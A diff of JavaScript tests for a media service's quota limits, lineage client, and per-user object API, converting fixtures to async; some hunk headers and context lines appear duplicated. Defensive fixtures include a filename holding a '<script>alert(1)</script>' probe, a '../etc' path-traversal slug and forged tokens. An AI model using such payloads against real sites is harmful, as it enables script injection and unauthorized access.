+ assert.strictEqual(by.storage_bytes.exceeded, '413 media.quota.exceeded');
+ assert.strictEqual(by.deleted_retention_days.capability, 'media.object.delete');
+ for (const l of Object.values(by)) assert.ok(Number.isInteger(l.production) && Number.isInteger(l.sandbox) && l.unit && l.exceeded, l.id);
- const app = express();
- mountLimits(app, config);
- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
- const res = await fetch(`http://127.0.0.1:${server.address().port}/limits.json`);
- assert.strictEqual(res.status, 200);
- assert.strictEqual(res.headers.get('access-control-allow-origin'), '*');
- const body = await res.json();
- assert.strictEqual(body.service, 'media');
- // The per-actor rate limits, as the routes declare them (loading a router declares its limits).
- require('../server/objects/routes');
- const again = await (await fetch(`http://127.0.0.1:${server.address().port}/limits.json`)).json();
- const rate = Object.fromEntries(again.rate_limits.map((l) => [l.id, l]));
- assert.deepStrictEqual([rate['media.object.upload'].minute, rate['media.object.upload'].hour], [30, 600]);
- assert.deepStrictEqual([rate['media.object.part'].minute, rate['media.object.part'].hour], [600, 20000]);
- assert.strictEqual(rate['media.object.upload'].exceeded, '429 rate_limited');
- server.close();
- console.log('limits: all checks passed');
-})().catch((e) => { console.error(e); process.exit(1); });
+ const app = express();
+ mountLimits(app, config);
+ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
+ const res = await fetch(`http://127.0.0.1:${server.address().port}/limits.json`);
+ assert.strictEqual(res.status, 200);
+ assert.strictEqual(res.headers.get('access-control-allow-origin'), '*');
+ const body = await res.json();
+ assert.strictEqual(body.service, 'media');
+ // The per-actor rate limits, as the routes declare them (loading a router declares its limits).
+ require('../server/objects/routes');
+ const again = await (await fetch(`http://127.0.0.1:${server.address().port}/limits.json`)).json();
+ const rate = Object.fromEntries(again.rate_limits.map((l) => [l.id, l]));
+ assert.deepStrictEqual([rate['media.object.upload'].minute, rate['media.object.upload'].hour], [30, 600]);
+ assert.deepStrictEqual([rate['media.object.part'].minute, rate['media.object.part'].hour], [600, 20000]);
+ assert.strictEqual(rate['media.object.upload'].exceeded, '429 rate_limited');
+ server.close();
+ console.log('limits: all checks passed');
+ })().catch((e) => { console.error(e); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -1,29 +1,31 @@
@@ -1,29 +1,31 @@
'use strict';
'use strict';
/** Media asks Live's canonical lineage resolver (D20) for a channel, with its service token; no mapping of its own. */
/** Media asks Live's canonical lineage resolver (D20) for a channel, with its service token; no mapping of its own. */
const assert = require('assert');
const assert = require('assert');
-const { createLineageClient } = require('../server/lineage-client');
-
(async () => {
(async () => {
- const asked = [];
- let answer = { status: 'resolved', channel: { id: '17', slug: 'Goosely', owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', legacy_ids: { live_user_id: 5 } }, rule: 'slug' };
- const fetchImpl = async (url, opts = {}) => {
- const u = new URL(url);
- const reply = (status, body) => ({ status, ok: status < 300, json: async () => body });
- if (u.pathname === '/oauth/token') return reply(200, { access_token: 'svc-media', token_type: 'Bearer', expires_in: 300, scope: 'live.lineage.resolve' });
- asked.push({ path: u.pathname, slug: u.searchParams.get('slug'), auth: opts.headers.Authorization });
- return typeof answer === 'number' ? reply(answer, {}) : reply(200, answer);
- };
- const c = createLineageClient({ liveUrl: 'http://live.test', networkUrl: 'http://net.test', clientSecret: 'media-secret-for-tests', fetchImpl });
- assert.deepStrictEqual(await c.channelBySlug('goosely'), { slug: 'Goosely', live_user_id: 5, owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ' });
- assert.deepStrictEqual(asked, [{ path: '/internal/lineage/resolve', slug: 'goosely', auth: 'Bearer svc-media' }]);
- answer = { status: 'unresolved', reason: 'no_match' };
- assert.strictEqual(await c.channelBySlug('nobody'), null, 'unresolved is an answer, not an error');
- assert.strictEqual(await c.channelBySlug('../etc'), null, 'not a slug: never sent');
- assert.strictEqual(asked.length, 2);
- answer = 503;
- await assert.rejects(c.channelBySlug('goosely'), /answered 503/, 'Live down: the caller falls back');
- const off = createLineageClient({ clientSecret: '', fetchImpl });
- assert.strictEqual(off.enabled, false);
- await assert.rejects(off.channelBySlug('goosely'), /off/);
- console.log('lineage client: all checks passed');
-})().catch((e) => { console.error(e); process.exit(1); });
+ const { createLineageClient } = require('../server/lineage-client');
+
+ (async () => {
+ const asked = [];
+ let answer = { status: 'resolved', channel: { id: '17', slug: 'Goosely', owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', legacy_ids: { live_user_id: 5 } }, rule: 'slug' };
+ const fetchImpl = async (url, opts = {}) => {
+ const u = new URL(url);
+ const reply = (status, body) => ({ status, ok: status < 300, json: async () => body });
+ if (u.pathname === '/oauth/token') return reply(200, { access_token: 'svc-media', token_type: 'Bearer', expires_in: 300, scope: 'live.lineage.resolve' });
+ asked.push({ path: u.pathname, slug: u.searchParams.get('slug'), auth: opts.headers.Authorization });
+ return typeof answer === 'number' ? reply(answer, {}) : reply(200, answer);
+ };
+ const c = createLineageClient({ liveUrl: 'http://live.test', networkUrl: 'http://net.test', clientSecret: 'media-secret-for-tests', fetchImpl });
+ assert.deepStrictEqual(await c.channelBySlug('goosely'), { slug: 'Goosely', live_user_id: 5, owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ' });
+ assert.deepStrictEqual(asked, [{ path: '/internal/lineage/resolve', slug: 'goosely', auth: 'Bearer svc-media' }]);
+ answer = { status: 'unresolved', reason: 'no_match' };
+ assert.strictEqual(await c.channelBySlug('nobody'), null, 'unresolved is an answer, not an error');
+ assert.strictEqual(await c.channelBySlug('../etc'), null, 'not a slug: never sent');
+ assert.strictEqual(asked.length, 2);
+ answer = 503;
+ await assert.rejects(c.channelBySlug('goosely'), /answered 503/, 'Live down: the caller falls back');
+ const off = createLineageClient({ clientSecret: '', fetchImpl });
+ assert.strictEqual(off.enabled, false);
+ await assert.rejects(off.channelBySlug('goosely'), /off/);
+ console.log('lineage client: all checks passed');
+ })().catch((e) => { console.error(e); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -17,366 +17,367 @@ const os = require('os');
@@ -17,366 +17,367 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-me-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),
- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',
-});
-for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];
-delete process.env.MEDIA_DRILL;
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-me-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),
+ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',
+ });
+ for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];
+ delete process.env.MEDIA_DRILL;
-const { ids } = require('openvibe-contracts');
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-const model = require('../server/objects/model');
-const namespaces = require('../server/objects/namespaces');
-const { createMeRoutes, personFromClaims } = require('../server/me/routes');
-const express = require('express');
+ const { ids } = require('openvibe-contracts');
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const namespaces = require('../server/objects/namespaces');
+ const { createMeRoutes, personFromClaims } = require('../server/me/routes');
+ const express = require('express');
-db.upsertApp({ app_id: 'live', name: 'OpenVibe.Live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'tools', name: 'OpenVibe.Tools', api_key: 'tools-key' });
-for (const a of ['live', 'tools']) db.ensureRootNamespace(db.getApp(a));
-namespaces.ensure(db.getApp('live'), 'live.avatars');
+ await db.upsertApp({ app_id: 'live', name: 'OpenVibe.Live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'tools', name: 'OpenVibe.Tools', api_key: 'tools-key' });
+ for (const a of ['live', 'tools']) await db.ensureRootNamespace(await db.getApp(a));
+ await namespaces.ensure(await db.getApp('live'), 'live.avatars');
-const ANA = `usr_${ids.ulid()}`;
-const BEN = `usr_${ids.ulid()}`;
-const ALEX = `usr_${ids.ulid()}`;
-const base = Date.now() - 3600e3;
-let tick = 0;
-const make = (o) => model.createObject({ app_id: 'live', kind: 'file', visibility: 'private', lifecycle_status: 'ready', mime_type: 'text/plain', size_bytes: 100, createdMs: base + (tick++) * 1000, ...o });
-const present = (id, bytes, key = path.join(process.env.OBJECTS_PATH, id)) => model.upsertLocation(id, { provider: 'local', key, state: 'present', size_bytes: bytes, verified: true });
+ const ANA = `usr_${ids.ulid()}`;
+ const BEN = `usr_${ids.ulid()}`;
+ const ALEX = `usr_${ids.ulid()}`;
+ const base = Date.now() - 3600e3;
+ let tick = 0;
+ const make = async (o) => await model.createObject({ app_id: 'live', kind: 'file', visibility: 'private', lifecycle_status: 'ready', mime_type: 'text/plain', size_bytes: 100, createdMs: base + (tick++) * 1000, ...o });
+ const present = async (id, bytes, key = path.join(process.env.OBJECTS_PATH, id)) => await model.upsertLocation(id, { provider: 'local', key, state: 'present', size_bytes: bytes, verified: true });
-// ── Fixtures: Ana's objects ──
-const anaReady = [];
-for (let i = 0; i < 30; i++) {
- const id = make({ owner_subject: ANA, metadata: { filename: `note-${i}.txt` }, size_bytes: 1000 + i });
- present(id, 1000 + i);
- anaReady.push(id);
-}
-const tricky = make({ owner_subject: ANA, visibility: 'public', metadata: { filename: '<script>alert(1)</script>.txt' }, size_bytes: 7 });
-present(tricky, 7);
-const avatar = make({ owner_subject: ANA, namespace: 'live.avatars', kind: 'avatar', mime_type: 'image/png', metadata: { filename: 'me.png' }, size_bytes: 500 });
-present(avatar, 500);
-const inTools = make({ app_id: 'tools', owner_subject: ANA, metadata: { filename: 'result.json' }, mime_type: 'application/json', size_bytes: 2048 });
-present(inTools, 2048);
-// Uploading, multipart: 2 of 4 parts of 1 MiB received.
-const multi = make({ owner_subject: ANA, lifecycle_status: 'uploading', mime_type: 'video/mp4', kind: 'vod', metadata: { filename: 'big.mp4' }, size_bytes: 4 * 1048576 });
-namespaces.reserve(model.getObject(multi), 4 * 1048576);
-db.run("INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, status, expires_at) VALUES ('mup_TEST', ?, 'live', 1048576, ?, 4, 'active', datetime('now', '+1 day'))", [multi, 4 * 1048576]);
-for (const n of [1, 3]) db.run("INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES ('mup_TEST', ?, 1048576, 'x')", [n]);
-// Uploading, single part, bytes stored and waiting for complete.
-const stored = make({ owner_subject: ANA, lifecycle_status: 'uploading', metadata: { filename: 'stored.txt' }, size_bytes: 300 });
-present(stored, 300);
-// Uploading, a PUT still streaming (a temp file under OBJECTS_PATH/.tmp).
-const streaming = make({ owner_subject: ANA, lifecycle_status: 'uploading', metadata: { filename: 'streaming.txt' }, size_bytes: 1000 });
-fs.mkdirSync(path.join(process.env.OBJECTS_PATH, '.tmp'), { recursive: true });
-fs.writeFileSync(path.join(process.env.OBJECTS_PATH, '.tmp', `${streaming}-abcd1234`), Buffer.alloc(250));
-const deleted = make({ owner_subject: ANA, lifecycle_status: 'deleted', metadata: { filename: 'gone.txt', retention_until: new Date(Date.now() + 864e5).toISOString() }, size_bytes: 40 });
-const failed = make({ owner_subject: ANA, lifecycle_status: 'failed', metadata: { filename: 'expired.txt', failure: 'upload_expired' }, size_bytes: 60 });
-// A derivative (waveform variant) of one of Ana's, and a held one.
-const wave = make({ owner_subject: ANA, kind: 'asset', mime_type: 'image/png', metadata: { derived_from: anaReady[0] }, size_bytes: 10 });
-present(wave, 10);
-model.setRelationship(wave, 'derived_from', anaReady[0], {});
-model.setVariant(anaReady[0], 'waveform', wave, 'object.waveform@1');
-model.placeHold({ object_id: anaReady[1], kind: 'evidence', reason: 'SECRET-HOLD-REASON', created_by: 'staff:x', note: 'SECRET-NOTE' });
-// ── Ben's objects (must never show up for Ana) ──
-const benIds = [];
-for (let i = 0; i < 3; i++) { const id = make({ owner_subject: BEN, metadata: { filename: `ben-${i}.txt` }, size_bytes: 999999 }); present(id, 999999); benIds.push(id); }
-const benUploading = make({ owner_subject: BEN, lifecycle_status: 'uploading', size_bytes: 5 });
-// An object with no subject at all.
-make({ owner_subject: null, owner_user_id: 5, metadata: { filename: 'nobody.txt' } });
-// A failed job, for the operator views.
-db.run(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, error, error_code, attempts, max_attempts, finished_at)
- VALUES ('mjob_TESTFAILED', 'live', ?, 'object.sprite', 'failed', 'ffmpeg exited 1', 'no_video', 1, 3, CURRENT_TIMESTAMP)`, [anaReady[2]]);
-// A missing copy and a no-good-copy object.
-const lost = make({ owner_subject: BEN, size_bytes: 1 });
-model.upsertLocation(lost, { provider: 'b2', key: 'k/lost', state: 'missing', size_bytes: 1, verified: true });
+ // ── Fixtures: Ana's objects ──
+ const anaReady = [];
+ for (let i = 0; i < 30; i++) {
+ const id = await make({ owner_subject: ANA, metadata: { filename: `note-${i}.txt` }, size_bytes: 1000 + i });
+ await present(id, 1000 + i);
+ anaReady.push(id);
+ }
+ const tricky = await make({ owner_subject: ANA, visibility: 'public', metadata: { filename: '<script>alert(1)</script>.txt' }, size_bytes: 7 });
+ await present(tricky, 7);
+ const avatar = await make({ owner_subject: ANA, namespace: 'live.avatars', kind: 'avatar', mime_type: 'image/png', metadata: { filename: 'me.png' }, size_bytes: 500 });
+ await present(avatar, 500);
+ const inTools = await make({ app_id: 'tools', owner_subject: ANA, metadata: { filename: 'result.json' }, mime_type: 'application/json', size_bytes: 2048 });
+ await present(inTools, 2048);
+ // Uploading, multipart: 2 of 4 parts of 1 MiB received.
+ const multi = await make({ owner_subject: ANA, lifecycle_status: 'uploading', mime_type: 'video/mp4', kind: 'vod', metadata: { filename: 'big.mp4' }, size_bytes: 4 * 1048576 });
+ await namespaces.reserve(await model.getObject(multi), 4 * 1048576);
+ await db.run("INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, status, expires_at) VALUES ('mup_TEST', ?, 'live', 1048576, ?, 4, 'active', datetime('now', '+1 day'))", [multi, 4 * 1048576]);
+ for (const n of [1, 3]) await db.run("INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES ('mup_TEST', ?, 1048576, 'x')", [n]);
+ // Uploading, single part, bytes stored and waiting for complete.
+ const stored = await make({ owner_subject: ANA, lifecycle_status: 'uploading', metadata: { filename: 'stored.txt' }, size_bytes: 300 });
+ await present(stored, 300);
+ // Uploading, a PUT still streaming (a temp file under OBJECTS_PATH/.tmp).
+ const streaming = await make({ owner_subject: ANA, lifecycle_status: 'uploading', metadata: { filename: 'streaming.txt' }, size_bytes: 1000 });
+ fs.mkdirSync(path.join(process.env.OBJECTS_PATH, '.tmp'), { recursive: true });
+ fs.writeFileSync(path.join(process.env.OBJECTS_PATH, '.tmp', `${streaming}-abcd1234`), Buffer.alloc(250));
+ const deleted = await make({ owner_subject: ANA, lifecycle_status: 'deleted', metadata: { filename: 'gone.txt', retention_until: new Date(Date.now() + 864e5).toISOString() }, size_bytes: 40 });
+ const failed = await make({ owner_subject: ANA, lifecycle_status: 'failed', metadata: { filename: 'expired.txt', failure: 'upload_expired' }, size_bytes: 60 });
+ // A derivative (waveform variant) of one of Ana's, and a held one.
+ const wave = await make({ owner_subject: ANA, kind: 'asset', mime_type: 'image/png', metadata: { derived_from: anaReady[0] }, size_bytes: 10 });
+ await present(wave, 10);
+ await model.setRelationship(wave, 'derived_from', anaReady[0], {});
+ await model.setVariant(anaReady[0], 'waveform', wave, 'object.waveform@1');
+ await model.placeHold({ object_id: anaReady[1], kind: 'evidence', reason: 'SECRET-HOLD-REASON', created_by: 'staff:x', note: 'SECRET-NOTE' });
+ // ── Ben's objects (must never show up for Ana) ──
+ const benIds = [];
+ for (let i = 0; i < 3; i++) { const id = await make({ owner_subject: BEN, metadata: { filename: `ben-${i}.txt` }, size_bytes: 999999 }); await present(id, 999999); benIds.push(id); }
+ const benUploading = await make({ owner_subject: BEN, lifecycle_status: 'uploading', size_bytes: 5 });
+ // An object with no subject at all.
+ await make({ owner_subject: null, owner_user_id: 5, metadata: { filename: 'nobody.txt' } });
+ // A failed job, for the operator views.
+ await db.run(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, error, error_code, attempts, max_attempts, finished_at)
+ VALUES ('mjob_TESTFAILED', 'live', ?, 'object.sprite', 'failed', 'ffmpeg exited 1', 'no_video', 1, 3, ov_now())`, [anaReady[2]]);
+ // A missing copy and a no-good-copy object.
+ const lost = await make({ owner_subject: BEN, size_bytes: 1 });
+ await model.upsertLocation(lost, { provider: 'b2', key: 'k/lost', state: 'missing', size_bytes: 1, verified: true });
-// ── Tokens: what auth.verify (the JWKS-backed verifier) would answer ──
-const AUD = ['openvibe.live', 'openvibe.media', 'openvibe.network'];
-const CLAIMS = {
- ana: { sub: 7, subject_id: ANA, username: 'ana', role: 'user', aud: AUD },
- ben: { sub: 8, subject_id: BEN, username: 'ben', role: 'user', aud: AUD },
- admin: { sub: 1, subject_id: ALEX, username: 'alex', role: 'admin', aud: AUD },
- mod: { sub: 2, subject_id: `usr_${ids.ulid()}`, username: 'mo', role: 'global_mod', aud: AUD },
- liveOnly: { sub: 7, subject_id: ANA, username: 'ana', aud: ['openvibe.live'] },
- service: { sub: 'svc:community', subject_id: ANA, aud: AUD, actor_type: 'service' },
- fedcm: { sub: 7, subject_id: ANA, aud: AUD, typ: 'fedcm' },
- noSubject: { sub: 7, username: 'ana', aud: AUD },
-};
-const auth = { verify: async (token) => CLAIMS[token] || null };
+ // ── Tokens: what auth.verify (the JWKS-backed verifier) would answer ──
+ const AUD = ['openvibe.live', 'openvibe.media', 'openvibe.network'];
+ const CLAIMS = {
+ ana: { sub: 7, subject_id: ANA, username: 'ana', role: 'user', aud: AUD },
+ ben: { sub: 8, subject_id: BEN, username: 'ben', role: 'user', aud: AUD },
+ admin: { sub: 1, subject_id: ALEX, username: 'alex', role: 'admin', aud: AUD },
+ mod: { sub: 2, subject_id: `usr_${ids.ulid()}`, username: 'mo', role: 'global_mod', aud: AUD },
+ liveOnly: { sub: 7, subject_id: ANA, username: 'ana', aud: ['openvibe.live'] },
+ service: { sub: 'svc:community', subject_id: ANA, aud: AUD, actor_type: 'service' },
+ fedcm: { sub: 7, subject_id: ANA, aud: AUD, typ: 'fedcm' },
+ noSubject: { sub: 7, username: 'ana', aud: AUD },
+ };
+ const auth = { verify: async (token) => CLAIMS[token] || null };
-const app = express();
-app.use((req, _res, next) => { // as server/index.js parses cookies
- req.cookies = {};
- for (const part of String(req.headers.cookie || '').split(';')) { const i = part.indexOf('='); if (i > 0) req.cookies[part.slice(0, i).trim()] = decodeURIComponent(part.slice(i + 1).trim()); }
- next();
-});
-app.use(express.json());
-app.use(express.urlencoded({ extended: true }));
-const me = createMeRoutes({ auth });
-app.use('/api/v2/me', me.api);
-app.use('/me', me.pages);
-app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
-app.use('/', require('../server/public/crawl'));
-app.use(require('../server/not-found').notFound);
+ const app = express();
+ app.use((req, _res, next) => { // as server/index.js parses cookies
+ req.cookies = {};
+ for (const part of String(req.headers.cookie || '').split(';')) { const i = part.indexOf('='); if (i > 0) req.cookies[part.slice(0, i).trim()] = decodeURIComponent(part.slice(i + 1).trim()); }
+ next();
+ });
+ app.use(express.json());
+ app.use(express.urlencoded({ extended: true }));
+ const me = createMeRoutes({ auth });
+ app.use('/api/v2/me', me.api);
+ app.use('/me', me.pages);
+ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
+ app.use('/', require('../server/public/crawl'));
+ app.use(require('../server/not-found').notFound);
-(async () => {
- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
- const call = (method, p, { token = null, cookie = null, headers = {}, body = null } = {}) => new Promise((resolve, reject) => {
- const data = body == null ? '' : (typeof body === 'string' ? body : JSON.stringify(body));
- const h = { ...headers };
- if (token) h.authorization = `Bearer ${token}`;
- if (cookie) h.cookie = `ov_token=${cookie}`;
- if (data) { h['content-type'] = h['content-type'] || 'application/json'; h['content-length'] = Buffer.byteLength(data); }
- const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method, headers: h }, (res) => {
- let b = ''; res.on('data', (c) => { b += c; });
- res.on('end', () => { let json = null; try { json = JSON.parse(b); } catch { /* html */ } resolve({ status: res.statusCode, headers: res.headers, text: b, json }); });
+ (async () => {
+ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
+ const call = (method, p, { token = null, cookie = null, headers = {}, body = null } = {}) => new Promise((resolve, reject) => {
+ const data = body == null ? '' : (typeof body === 'string' ? body : JSON.stringify(body));
+ const h = { ...headers };
+ if (token) h.authorization = `Bearer ${token}`;
+ if (cookie) h.cookie = `ov_token=${cookie}`;
+ if (data) { h['content-type'] = h['content-type'] || 'application/json'; h['content-length'] = Buffer.byteLength(data); }
+ const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method, headers: h }, (res) => {
+ let b = ''; res.on('data', (c) => { b += c; });
+ res.on('end', () => { let json = null; try { json = JSON.parse(b); } catch { /* html */ } resolve({ status: res.statusCode, headers: res.headers, text: b, json }); });
+ });
+ rq.on('error', reject);
+ rq.end(data);
});
});
- rq.on('error', reject);
- rq.end(data);
- });
- const all = async (token, qs = '') => {
- const seen = [];
- let cursor = null, pages = 0;
- do {
- const r = await call('GET', `/api/v2/me/objects?limit=7${qs}${cursor ? `&cursor=${cursor}` : ''}`, { token });
- assert.strictEqual(r.status, 200, r.text);
- seen.push(...r.json.objects);
- cursor = r.json.next_cursor;
- assert.ok(++pages < 50);
- } while (cursor);
- return seen;
- };
- try {
- // ── Signed out ──
- let r = await call('GET', '/api/v2/me/objects');
- assert.deepStrictEqual([r.status, r.json.code], [401, 'auth.required']);
- assert.strictEqual(r.headers['cache-control'], 'private, no-store');
- assert.strictEqual((await call('GET', '/api/v2/me/usage')).status, 401);
- assert.strictEqual((await call('GET', `/api/v2/me/objects/${anaReady[0]}`)).status, 401);
- r = await call('GET', '/me');
- assert.strictEqual(r.status, 200);
- assert.ok(r.text.includes('href="/auth/login?next=%2Fme"'), 'the sign-in prompt comes back to /me');
- assert.ok(r.text.includes('<meta name="robots" content="noindex, nofollow">'));
- assert.ok(r.headers['x-robots-tag'].includes('noindex') && r.headers['cache-control'] === 'private, no-store');
- assert.ok(!r.text.includes(anaReady[0]) && !r.text.includes('<table'), 'nothing of anyone is shown');
- assert.ok(r.text.includes('navbar.js') && r.text.includes('"sessionUrl":"/auth/me"'), 'in the OpenVibe Frame');
- console.log('✅ signed out: the API answers 401, /me is a sign-in prompt in the Frame');
+ const all = async (token, qs = '') => {
+ const seen = [];
+ let cursor = null, pages = 0;
+ do {
+ const r = await call('GET', `/api/v2/me/objects?limit=7${qs}${cursor ? `&cursor=${cursor}` : ''}`, { token });
+ assert.strictEqual(r.status, 200, r.text);
+ seen.push(...r.json.objects);
+ cursor = r.json.next_cursor;
+ assert.ok(++pages < 50);
+ } while (cursor);
+ return seen;
+ };
+ try {
+ // ── Signed out ──
+ let r = await call('GET', '/api/v2/me/objects');
+ assert.deepStrictEqual([r.status, r.json.code], [401, 'auth.required']);
+ assert.strictEqual(r.headers['cache-control'], 'private, no-store');
+ assert.strictEqual((await call('GET', '/api/v2/me/usage')).status, 401);
+ assert.strictEqual((await call('GET', `/api/v2/me/objects/${anaReady[0]}`)).status, 401);
+ r = await call('GET', '/me');
+ assert.strictEqual(r.status, 200);
+ assert.ok(r.text.includes('href="/auth/login?next=%2Fme"'), 'the sign-in prompt comes back to /me');
+ assert.ok(r.text.includes('<meta name="robots" content="noindex, nofollow">'));
+ assert.ok(r.headers['x-robots-tag'].includes('noindex') && r.headers['cache-control'] === 'private, no-store');
+ assert.ok(!r.text.includes(anaReady[0]) && !r.text.includes('<table'), 'nothing of anyone is shown');
+ assert.ok(r.text.includes('navbar.js') && r.text.includes('"sessionUrl":"/auth/me"'), 'in the OpenVibe Frame');
+ console.log('✅ signed out: the API answers 401, /me is a sign-in prompt in the Frame');
- // ── Only a person's access token for this site identifies them ──
- assert.strictEqual((await call('GET', '/api/v2/me/objects', { token: 'forged' })).json.code, 'auth.invalid');
- for (const t of ['liveOnly', 'service', 'fedcm']) {
- r = await call('GET', '/api/v2/me/objects', { token: t });
- assert.deepStrictEqual([r.status, r.json.code], [401, 'auth.invalid'], t);
- }
- assert.strictEqual((await call('GET', '/api/v2/me/objects', { token: 'noSubject' })).json.code, 'auth.no_subject');
- assert.ok(personFromClaims(CLAIMS.ana).person && !personFromClaims(null).person);
- r = await call('GET', '/me', { cookie: 'noSubject' });
- assert.ok(r.text.includes('no network subject') && r.text.includes('/auth/login'), 'a sign-in without a subject is asked to sign in again');
- console.log('✅ identity: audience openvibe.media, a person (no principals, no FedCM assertions) with a usr_ subject');
+ // ── Only a person's access token for this site identifies them ──
+ assert.strictEqual((await call('GET', '/api/v2/me/objects', { token: 'forged' })).json.code, 'auth.invalid');
+ for (const t of ['liveOnly', 'service', 'fedcm']) {
+ r = await call('GET', '/api/v2/me/objects', { token: t });
+ assert.deepStrictEqual([r.status, r.json.code], [401, 'auth.invalid'], t);
+ }
+ assert.strictEqual((await call('GET', '/api/v2/me/objects', { token: 'noSubject' })).json.code, 'auth.no_subject');
+ assert.ok(personFromClaims(CLAIMS.ana).person && !personFromClaims(null).person);
+ r = await call('GET', '/me', { cookie: 'noSubject' });
+ assert.ok(r.text.includes('no network subject') && r.text.includes('/auth/login'), 'a sign-in without a subject is asked to sign in again');
+ console.log('✅ identity: audience openvibe.media, a person (no principals, no FedCM assertions) with a usr_ subject');
- // ── Owner scoping and pagination ──
- const anaAll = await all('ana', '&status=all');
- const anaIds = anaAll.map(o => o.id);
- assert.strictEqual(new Set(anaIds).size, anaIds.length, 'no object twice across pages');
- assert.deepStrictEqual([...anaIds].sort().reverse(), anaIds, 'newest first');
- const expected = db.all('SELECT id FROM media_objects WHERE owner_subject = ? ORDER BY id DESC', [ANA]).map(x => x.id);
- assert.deepStrictEqual(anaIds, expected, 'every one of her objects, in every tenant and status');
- for (const b of [...benIds, benUploading, lost]) assert.ok(!anaIds.includes(b), 'never another person\'s object');
- const benAll = await all('ben', '&status=all');
- assert.deepStrictEqual(benAll.map(o => o.id).sort(), [...benIds, benUploading, lost].sort());
- r = await call('GET', `/api/v2/me/objects/${benIds[0]}`, { token: 'ana' });
- assert.deepStrictEqual([r.status, r.json.code], [404, 'media.object.not_found'], 'another person\'s object is not found');
- assert.strictEqual((await call('GET', `/me/objects/${benIds[0]}`, { cookie: 'ana' })).status, 404, 'nor its page');
- r = await call('GET', '/api/v2/me/objects?limit=10', { token: 'ana' });
- assert.strictEqual(r.json.objects.length, 10);
- assert.strictEqual(r.json.next_cursor, r.json.objects[9].id);
- const page2 = await call('GET', `/api/v2/me/objects?limit=10&cursor=${r.json.next_cursor}`, { token: 'ana' });
- assert.ok(page2.json.objects.every(o => o.id < r.json.next_cursor));
- assert.strictEqual((await call('GET', '/api/v2/me/objects?cursor=nope', { token: 'ana' })).status, 400);
- assert.strictEqual((await call('GET', '/api/v2/me/objects?limit=1000', { token: 'ana' })).json.limit, 100);
- assert.strictEqual((await call('GET', '/api/v2/me/objects?status=gone', { token: 'ana' })).status, 400);
- const byDefault = await all('ana');
- assert.ok(!byDefault.some(o => o.lifecycle_status === 'deleted') && byDefault.length === anaIds.length - 1, 'deleted objects only on request');
- console.log(`✅ scoping + pagination: ${anaIds.length} of Ana's objects over pages of 7, none of Ben's; another person's id is a 404`);
+ // ── Owner scoping and pagination ──
+ const anaAll = await all('ana', '&status=all');
+ const anaIds = anaAll.map(o => o.id);
+ assert.strictEqual(new Set(anaIds).size, anaIds.length, 'no object twice across pages');
+ assert.deepStrictEqual([...anaIds].sort().reverse(), anaIds, 'newest first');
+ const expected = (await db.all('SELECT id FROM media_objects WHERE owner_subject = ? ORDER BY id DESC', [ANA])).map(x => x.id);
+ assert.deepStrictEqual(anaIds, expected, 'every one of her objects, in every tenant and status');
+ for (const b of [...benIds, benUploading, lost]) assert.ok(!anaIds.includes(b), 'never another person\'s object');
+ const benAll = await all('ben', '&status=all');
+ assert.deepStrictEqual(benAll.map(o => o.id).sort(), [...benIds, benUploading, lost].sort());
+ r = await call('GET', `/api/v2/me/objects/${benIds[0]}`, { token: 'ana' });
+ assert.deepStrictEqual([r.status, r.json.code], [404, 'media.object.not_found'], 'another person\'s object is not found');
+ assert.strictEqual((await call('GET', `/me/objects/${benIds[0]}`, { cookie: 'ana' })).status, 404, 'nor its page');
+ r = await call('GET', '/api/v2/me/objects?limit=10', { token: 'ana' });
+ assert.strictEqual(r.json.objects.length, 10);
+ assert.strictEqual(r.json.next_cursor, r.json.objects[9].id);
